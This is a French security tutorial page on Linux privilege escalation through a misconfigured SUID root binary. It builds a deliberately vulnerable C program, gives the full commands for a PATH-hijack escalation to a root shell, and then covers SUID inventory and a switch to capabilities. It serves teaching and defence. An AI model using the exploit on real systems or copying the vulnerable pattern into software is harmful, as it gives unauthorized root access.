Aller au contenu

Élévation de privilège via un binaire SUID root mal configuré

Élévation de privilège via un binaire SUID root mal configuré

Section intitulée « Élévation de privilège via un binaire SUID root mal configuré »

Un compte local sans le moindre droit d’administration peut devenir root en quelques secondes, sans exploit noyau ni faille zero-day, uniquement parce qu’un exécutable porte le bit SUID (Set User IDentifier) et offre une porte de sortie vers le shell. Cette page monte l’ouvrage vulnérable sur une machine de laboratoire, démontre l’escalade, puis referme la brèche.

→ Lire l’explication complète de la marmotte

Le bit SUID et l’identité effective d’un processus

Section intitulée « Le bit SUID et l’identité effective d’un processus »

Sous Linux, tout processus porte deux identités numériques d’utilisateur : le RUID (Real User IDentifier), qui dit qui a lancé le programme, et l’EUID (Effective User IDentifier), qui dit avec quels droits le noyau évalue chaque accès fichier ou appel système. En temps normal les deux coïncident. Le bit SUID casse cette égalité : quand un exécutable porte ce bit et appartient à root, le noyau positionne l’EUID du processus à 0 (root) au moment de l’exécution, quel que soit le compte qui l’a lancé.

Le mécanisme existe pour une raison légitime. Changer son mot de passe suppose d’écrire dans /etc/shadow, réservé à root ; passwd porte donc le bit SUID root le temps de l’opération, puis rend la main. Le problème n’est pas le mécanisme, c’est sa portée. Un binaire SUID root n’accorde pas « le droit de changer son mot de passe » : il accorde root, entier, pour toute la durée du processus. Tout ce que ce processus permet de faire ensuite (ouvrir un fichier arbitraire, lancer une commande, charger un plugin) se fait avec les droits de root.

La règle générale tient en une phrase : un binaire SUID root ne délègue jamais une fonction, il délègue une identité. La question n’est donc pas « que fait ce programme ? » mais « que peut-on lui faire faire d’autre ? ». C’est le même déplacement de la frontière de sécurité que celui décrit dans les autres démonstrations d’attaque de la rubrique failles : la brèche n’est pas dans le mécanisme, elle est dans une hypothèse implicite sur son usage.

Trois familles de défauts reviennent, et elles n’ont rien d’exotique.

La première est l’évasion vers un shell. Tout binaire SUID root qui expose, même indirectement, un moyen d’exécuter une commande arbitraire donne un shell root. Les éditeurs (vim, nano) appellent une commande externe ; les paginateurs (less, more) aussi ; find a -exec ; awk, perl, python exécutent du code par construction. Le projet GTFOBins (Get The F… Binaries) recense ces primitives par dizaines. Un find SUID root, et l’escalade tient en une ligne.

La deuxième est le PATH relatif. Un binaire SUID qui appelle une commande sans chemin absolu (via system("ls") plutôt que system("/bin/ls")) résout ce nom via la variable d’environnement PATH, que l’attaquant contrôle. Il suffit de placer un faux ls en tête de PATH pour le faire exécuter en root.

La troisième est le détournement de bibliothèque. Le chargeur dynamique ignore LD_PRELOAD et LD_LIBRARY_PATH pour les binaires SUID (mode « secure-execution »). Un exécutable qui abandonne trop tôt ses privilèges, ou qui charge des plugins depuis un répertoire accessible en écriture, rouvre cette voie.

Le compromis central du bit SUID est là : on gagne une délégation de droit sans démon intermédiaire ni configuration, on paie une surface d’attaque qui dépend entièrement de ce que le binaire accepte de faire d’autre.

Le décor est une machine virtuelle jetable, un compte non privilégié visiteur, et un binaire fabriqué pour l’occasion qui reproduit le défaut typique : un utilitaire d’administration qui affiche un fichier journal via un appel à une commande externe, laissé SUID root après une installation bâclée.

/* moniteur.c : utilitaire de laboratoire DELIBEREMENT vulnerable.
* Il affiche un journal en appelant "cat" SANS chemin absolu :
* le nom est resolu via PATH, que l'appelant controle. */
#include <stdlib.h>
int main(void) {
/* Faille : "cat" sans chemin, et privileges root conserves. */
system("cat /var/log/moniteur.log");
return 0;
}

On compile, on pose le bit SUID root, puis on se place dans la peau du compte non privilégié.

Fenêtre de terminal
# Mise en place (en root), pour reproduire l'erreur d'installation.
gcc -o /usr/local/bin/moniteur moniteur.c # compilation
chown root:root /usr/local/bin/moniteur # proprietaire root
chmod 4755 /usr/local/bin/moniteur # le 4 en tete = bit SUID
# A partir d'ici : session de l'utilisateur "visiteur", sans sudo.
ls -l /usr/local/bin/moniteur
# -rwsr-xr-x 1 root root ... : le "s" a la place du "x" du proprietaire = SUID actif

L’escalade exploite le PATH relatif. On fabrique un faux cat qui lance un shell, on le place en tête de PATH, et on appelle le binaire vulnérable.

Fenêtre de terminal
# On forge un "cat" malveillant dans un repertoire accessible en ecriture.
cd /tmp
printf '#!/bin/sh\n/bin/sh -p\n' > cat # -p : ne PAS abandonner l'EUID root
chmod +x cat
# On place /tmp en tete de PATH : c'est notre "cat" qui sera trouve.
export PATH=/tmp:$PATH
# On declenche le binaire SUID, qui appelle "cat" (le notre) en root.
/usr/local/bin/moniteur
# Un shell s'ouvre.
id
# uid=1000(visiteur) euid=0(root) ... : EUID root obtenu.

L’option -p de sh est décisive : sans elle, le shell abandonnerait l’EUID root par sécurité au démarrage. Le compte visiteur dispose maintenant d’un interpréteur avec EUID 0, donc d’un accès complet à la machine.

Contre-mesures : inventaire SUID et capabilities granulaires

Section intitulée « Contre-mesures : inventaire SUID et capabilities granulaires »

La première contre-mesure est l’inventaire. On ne durcit pas ce qu’on n’a pas recensé, et cet inventaire relève de la même discipline d’architecture cyber que le recensement des identités ou des secrets : une liste tenue à jour, confrontée à un état attendu.

Fenêtre de terminal
# Recenser tous les binaires SUID du systeme (bit 4000).
find / -xdev -perm -4000 -type f 2>/dev/null
# Variante avec details, pour trier proprietaire et date.
find / -xdev -perm -4000 -type f -exec ls -l {} \; 2>/dev/null

Cette liste doit être courte et connue. Sur une installation courante, une dizaine de binaires justifient réellement le bit (passwd, su, sudo, mount, chsh). Tout le reste est suspect. Le retrait se fait avec chmod u-s /chemin/du/binaire, et un binaire qu’on ne sait pas justifier doit perdre son SUID par défaut, quitte à corriger ensuite si une fonction casse.

La seconde contre-mesure, et la vraie réponse de fond, est le remplacement du SUID par les capabilities Linux. Une capability découpe les pouvoirs de root en unités séparées : CAP_NET_BIND_SERVICE autorise l’écoute sur un port inférieur à 1024, CAP_NET_RAW autorise les sockets bruts (ce dont ping a besoin), CAP_DAC_OVERRIDE outrepasse les permissions de fichier. On accorde exactement le pouvoir requis, pas l’identité root complète.

Fenêtre de terminal
# Au lieu de rendre "ping" SUID root, lui donner la seule capability utile.
setcap cap_net_raw+ep /usr/local/bin/mon-ping # +ep : effective + permitted
chmod u-s /usr/local/bin/mon-ping # et retirer le SUID devenu inutile
# Verifier ce qui est reellement accorde.
getcap /usr/local/bin/mon-ping
# /usr/local/bin/mon-ping cap_net_raw=ep

La différence est structurelle. Un binaire avec CAP_NET_RAW détourné via son PATH ne donne pas root : il donne, au pire, la capacité d’ouvrir un socket brut. La surface d’attaque se réduit à ce que la capability permet, pas à l’ensemble des pouvoirs de la machine.

Ce que ces contre-mesures ne garantissent pas : un binaire à capability reste dangereux si la capability est large. CAP_DAC_OVERRIDE outrepasse toute permission de fichier, CAP_SYS_ADMIN équivaut à peu près à root. Remplacer un SUID par une capability trop généreuse déplace le problème sous un nom moins alarmant. Le contrôle reste le même : accorder le pouvoir minimal, auditer la liste (getcap -r / 2>/dev/null), et raisonner la délégation de privilège comme un compromis, jamais comme une case à cocher.

Sans inventaire régulier des binaires SUID et sans bascule vers des capabilities étroites, chaque exécutable SUID root laissé en place devient une voie d’escalade locale exploitable sans faille noyau : un compte compromis à faible privilège (service applicatif, session interactive volée, dépendance piégée) passe root en réutilisant la logique décrite ici. Ce qui se perd d’abord, c’est la frontière de privilège : la compromission d’un compte quelconque vaut compromission de la machine entière, ce qui annule le cloisonnement sur lequel repose le reste de la défense. Se perd aussi la traçabilité, puisque les actions de l’attaquant s’exécutent sous l’identité root légitime et se confondent avec l’administration normale dans les journaux, rendant l’après-incident difficile à reconstituer.

Sur un ordinateur sous Linux, chaque programme qui tourne est étiqueté avec le nom de la personne qui l’a lancé, et le système vérifie ce nom avant d’autoriser la moindre action. Certains programmes ont besoin de plus de droits que leur utilisateur pour faire leur travail : changer un mot de passe suppose de modifier un fichier réservé au grand administrateur, appelé root. Pour cela, on colle sur ces programmes une marque spéciale. Quand la marque est présente, le système fait tourner le programme avec les droits de root, même si c’est un utilisateur ordinaire qui l’a démarré. Le problème, c’est que cette marque ne donne pas juste le droit précis dont le programme a besoin : elle donne tous les pouvoirs, pour toute la durée du programme. Si ce programme permet, même sans le vouloir, de lancer une autre commande, alors cette autre commande hérite aussi de tous les pouvoirs. Un attaquant qui n’a qu’un compte de base cherche donc un de ces programmes marqués, trouve un moyen de lui faire lancer une commande de son choix, et se retrouve avec le contrôle total. Pour éviter ça, on fait la liste de tous les programmes portant la marque, on retire la marque de ceux qui n’en ont pas strictement besoin, et on remplace le reste par un système plus fin qui accorde un seul pouvoir précis au lieu de tous d’un coup. Quand ce tri n’est pas fait, un simple compte visiteur suffit à devenir maître de la machine.

À lire aussi

Pages voisines

: les deux pages se citent l’une l’autre.